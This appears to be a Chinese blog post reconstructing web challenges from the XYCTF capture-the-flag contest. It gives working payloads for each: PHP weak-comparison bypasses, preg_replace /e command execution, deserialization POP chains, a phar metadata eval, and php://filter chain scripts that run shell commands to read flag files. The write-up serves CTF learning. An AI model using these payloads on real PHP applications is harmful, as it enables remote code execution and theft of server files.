xyctf web复现


ezhttp

题目描述:

1
非常ez的http

开启环境

查看源码

御剑扫描发现/robots.txt

访问/robots.txt

访问/l0g1n.txt

得到账号和密码,登录系统

添加Referer

添加User-Agent

添加Client-IP

添加via

添加cookie

最后flag为XYCTF{92ed9b26-bb01-437f-8ad7-96d9cab4c657}

ezmd5

题目描述:

1
你刚入门学的第一个php知识点是md5吗

开启环境

根据题目名以及开启环境后说的上传图片,应该是需要上传两张MD5值相同的图片

这就用到了一个工具 fastcoll(md5碰撞器)

1
fastcoll_v1.0.0.5.exe -p 1.jpg -o 11.jpg 12.jpg

上传11.jpg和12.jpg点击比较图片得到flag

最后flag为XYCTF{bf2a5f97-82f0-44b4-8176-37beee9bf0f4}

warm up

题目描述:

1
刚起床没什么状态做题,先简单热个身吧

开启环境

1
2
3
4
5
6
7
8
9
10
11
$val1 != $val2 && md5($val1) == md5($val2);
# val1[]=1&val2[]=2
# 首先这两个数组肯定不相等,但是 Array 传入 md5 会返回 NULL,显然两个 NULL 是相等的

isset($md5) && $md5 == md5($md5);
# 0e215962017
# 找一个 MD5 值为 0e 开头而且本身也是 0e 开头的字符串即可

$XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591");
# XY=0e215962017
# XYCTF_550102591 的 MD5 值是 0e 开头的,直接弱类型,上面那个就行

构造payload:

1
?val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017

访问/LLeeevvveeelll222.php

数组绕过preg_match,preg_replace命令执行

1
2
3
4
5
6
isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']);
# a[]=1

preg_replace($_GET['a'], $_GET['b'], $_GET['c']);
# ?a=/1/e&b=system('tac /f*')&c=1
# 这里的 /e 会将匹配到的内容作为 PHP 代码执行

构造payload:

1
2
?a=/1/e&b=system('tac /f*')&c=1
a[]=1

最后flag为XYCTF{9636a894-1e70-4c1d-99b6-26ebaaff5d30}

ezMake

题目描述:

1
makefile好像...还挺简单的?_xwx

开启环境

随便输入试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。

Bash 内建命令

这些命令是由Bash自身提供,而不是独立的程序:

alias - 定义或显示别名。
cd - 改变当前目录。
echo - 输出参数到标准输出。
exit - 退出当前shell。
export - 设置或显示环境变量。
history - 显示命令历史记录。
pwd - 打印当前工作目录的路径。
read - 从标准输入读取一行数据。
set - 设置或取消设置shell选项和位置参数。
type - 显示一个命令的类型。
unset - 删除变量或函数的定义。

参考makefile怎么读取文件内容 - 问答 - 亿速云

构造payload:

1
content := $(shell cat flag)

最后flag为XYCTF{6107057c-b418-49a5-9746-2e41c7e2cfba}

ez?Make

题目描述:

1
真的...简单吗?...@xa$<x{w_x

开启环境

flag在根目录下,cd到根目录下,使用more读取

构造payload:

1
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&more [0-z][0-z][0-z][0-z]

最后flag为XYCTF{866c4308-d415-4d6d-99cc-042888a4dcd7}

εZ?¿м@Kε¿?

题目描述:

1
Μακεϝ1LE>1s<S0<ϜxxΚ1ηG_ξ2!@<>#>%%#!$*&^(!

开启环境,查看源码

访问/hint.php

白名单只有这些符号,测试发现payload长度<8

1
2
3
4
5
6
7
8
9
10
关于makefile的自动变量

Makefile中的自动变量是在规则执行时由make自动定义的变量。这些变量非常有用,因为它们可以自动获取文件名、目录名和更多的信息,使得Makefile编写更加简洁和灵活。下面是一些常用的自动变量:

$@: 表示规则中的目标文件名。如果在模式规则中,它表示的是目标的一个实例。
$<: 表示规则中的第一个依赖文件名。
$?: 表示所有比目标文件还要新的依赖文件列表,用空格分隔。
$^: 表示所有的依赖文件列表,这些依赖文件以空格分隔,不包含重复的依赖文件。
$+: 这个变量和$^很像,但是它包含了所有的依赖文件,并保留了重复的文件。
$*: 在模式规则中,它表示匹配于目标模式中的%部分的字符串。例如,在规则 %.o: %.c 中,如果目标是 foo.o,则 $* 的值就是 foo。

$()也能够执行命令,<能够将东西输入到命令里,直接读取不行就用这样的方式读取:

1
$(</flag)

/flag重新定向到一个bash -i

外部相当于bash -c

其实就相当于bash -c "bash -i /flag"

替换一下/flag就是$<

payload:

1
$$(<$<)

最后flag为XYCTF{a611197a-c405-4ba7-ade0-b40f57350ac7}

牢牢记住,逝者为大

题目描述:

1
牢大在直升飞机上,快要坠机了,你能在有限的操作下救下牢大吗

开启环境

1
2
3
4
长度限制小于等于13
命令执行的几个函数都被过滤了
对于val,也就是我们传入的值进行了限制,不能够是上面的bin|mv|cp|ls|\||f|a|l|\?|\*|\>/
eval前后都有脏数据

用另一个变量往里面传参,那么就能不受长度的限制自由构造了

1
$_GET[1]

往1传参就能传到里面去,就能自由执行命令了

1
cmd=%0a`$_GET[1]`;%23&1=c''p /* .

用 ‘’ 来绕过过滤的 cp ,但是我们可以看到通配符是给过滤了的,我们就可以引出第二个技巧, [a-z] ,linux里用中括号可以根据ascii码来匹配里面的字符集, [a-z] 就是匹配任何小写字母a 到z中的一个字符,那么我们就能简单的构造出想要的字符了

1
cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g .

直接访问flag就能下载到flag文件

最后flag为XYCTF{469ddc72-6ee2-4c7b-8ac7-b877016f8688}

ezRCE

题目描述:

1
遇到这么ez的RCE你就偷着乐吧

开启环境

构造八进制

1
?cmd=$0<<<$'⼋进制值'

构造payload

1
?cmd=$0<<<$%27\143\141\164\040\057\146\154\141\147%27

最后flag为XYCTF{7cf034a9-a1fb-43ca-8b3e-7f14e440f0d3}

ezPOP

题目描述:

1
哈哈哈,好简单的反序列化...诶?怎么构造执行啊= =

开启环境

1
2
3
4
5
6
7
8
9
10
11
关键点1.绕过 throw new Exception("noooooob!!!");
Fast-destruct即可:删除末尾的 } 快速触发 __destruct() (垃圾回收机制)从而绕过抛出异常终止执行
关键点2. call_user_func($a,$b)($c)($d);
$b 是 $_POST 的数组(去除了a)
等价于 call_user_func($a,['key'=>'value'])($c)($d);
call_user_func 用法
call_user_func($a,$b)($c)($d);这种构造很奇怪
要求我们call_user_func返回一个函数
$c是返回函数的入参,call_user_func($a,$b)($c)的返回值又是个以$d为入参的函数
其实还挺好操作的,题目里unset了一下$_POST['a'],其实就是把数组元素清了一个,有关数组的操作很容易可以想到current
call_user_func('current','$_POST')返回值完全可控,可以令其为sprintf

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class AAA
{
public $s;
public $a;
}

class BBB
{
public $c;
public $d;
}

class CCC
{
public $c;
}

$b=new BBB();
$a=new AAA();
$c=new CCC();
$b->c="system";
$b->d="tac /f*";
$a->s=$b;
$c->c=$a;
echo serialize($c);

生成后删除末尾 }

payload:

1
2
3
4
5
O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:7:"cat 
/f*";s:1:"d";i:0;}s:1:"a";s:4:"test";}


a=implode&b=system

最后flag为XYCTF{fdf4a70b-e3f7-440b-89c9-cf5392812201}

ezSerialize

题目描述:

1
原来这也能套娃

开启环境

第一段:引用绕过强相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);

class Flag {
public $token;
public $password;

public function __construct()
{

}

public function login()
{
return $this->token === $this->password;
}
}

$a = new Flag();
$a->password = &$a->token;

echo serialize($a);

构造payload

1
O:4:"Flag":2:{s:5:"token";N;s:8:"password";R:2;}

访问/fpclosefpclosefpcloseffflllaaaggg.php

PHP反序列化可控任意属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}

class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}

class C {
public $wang1;

public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag;
}
}


class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}

class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}

$a = new A;
$b = new B;
$c = new C;
$d = new D;
$e = new E;
$e -> name = null;
$e -> num = $d;
$d -> lao = $b;
$b -> luo = $a;
$a -> mack = $c;

echo serialize($e);

if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
//O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}

构造payload

1
O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}

访问saber_master_saber_master.php

用stdClass类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
error_reporting(0);


// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct()
{

}
}

class XYCTFNO2
{
public $crypto0='dev1l';
public $adwa;

public function __construct()
{

}

public function XYCTF()
{

if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {

return False;
} else {

return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";

public function __construct()
{

}

public function XY()
{

if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}

$xy3 = new XYCTFNO3();
$xy2 = new XYCTFNO2();
$xy1 = new XYCTFNO1();
$d = new stdClass();
$xy3 -> KickyMu = $xy2;
$xy3 -> N1ght = 'oSthing';
$xy2 -> adwa = $d;
$d-> crypto0 = 'dev1l';
$d -> T1ng = 'yuroandCMD258';

echo urlencode(serialize($xy3));

构造payload

1
O%3A8%3A%22XYCTFNO3%22%3A3%3A%7Bs%3A7%3A%22KickyMu%22%3BO%3A8%3A%22XYCTFNO2%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3Bs%3A4%3A%22adwa%22%3BO%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3Bs%3A4%3A%22T1ng%22%3Bs%3A13%3A%22yuroandCMD258%22%3B%7D%7Ds%3A7%3A%22fpclose%22%3BN%3Bs%3A5%3A%22N1ght%22%3Bs%3A7%3A%22oSthing%22%3B%7D

php伪协议读文件全部内容

1
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

base解密

最后flag为XYCTF{7b67a1c4-a2c4-43ea-b5e9-caed7cac7447}

ezClass

题目描述:

1
10分钟赶出来的题,要花多久才能做出来呢

开启环境

结构 new 一个类(参数)->执行方法 利用Error类的静态方法 getMessage返回任意字符结合php的动态执行特性

构造payload

1
?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage

最后flag为XYCTF{e914f6e1-fd61-4e7e-a14e-d0961e5c1c9b}

pharme

题目描述:

1
do you know phar?

开启环境

先创建phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class evil{
   public $cmd;
   public $a;
}
@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');  //写入stub
$o=new evil();
$o-
>cmd='print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

上传phar文件,文件上传存在典型检测 __HALT_COMPILER被过滤了 将生成的Phar文件进行gzip压缩绕过即可 gzip压缩后,修改后缀为jpg拿文件上传地址,访问class.php内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

if(isset($_POST['file']))
{
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}
file_get_contents($_POST['file']);
}

关键点1. if(‘ch3nx1’ === preg_replace(‘/;+/‘,’ch3nx1’,preg_replace(‘/[A-Za-z_\ ()]+/‘,’’,$this->cmd))) 将 A-Z,a-z,_,(,) 替换为空后将留下的 ; 替换为 ch3nx1 后检查是否是等于 ch3nx1 简单来说就是典型的 ==无参代码执行RCE== 用常见的绕过手法即可 关键点2. preg_match(‘/^phar:///i 开头不能是phar:// 直接 php://filtr/resource=phar:// 绕过即可 关键点3. eval($this->cmd.’isbigvegetablechicken!’); 我们的问题是:如何正常执行前面内容而==忽视后面的编译错误== 通过利用 __halt_compiler 函数 中断编译器的执行 可以达成这个效果

等价执行了 print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler(); eval() 执行host之前的请求头

连连看到底是连连什么看

题目描述:

1
到底连连什么看才对呢?(flag在根目录/flag下)

开启环境

点击about后存在一个文件包含

包含下index.php

访问/what’s_this.php

php_filter_chain

构造payload:

1
?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

最后flag为XYCTF{7b490872-d8b0-47cd-8c7b-98a6b6539b0d}

ezLFI

题目描述:

1
一句话木马?

源码

1
<?php include_once($_REQUEST['file']);

filterchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests

#参数file
url = "http://gz.imxbt.cn:20644/1.php"
file_to_use = "/flag/resource=/etc/passwd"
command = "whoami"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
print(final_payload)
r = requests.get(url, params={
"0": command,
#"action": "include",
"file": final_payload
})

print(r.text)


文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录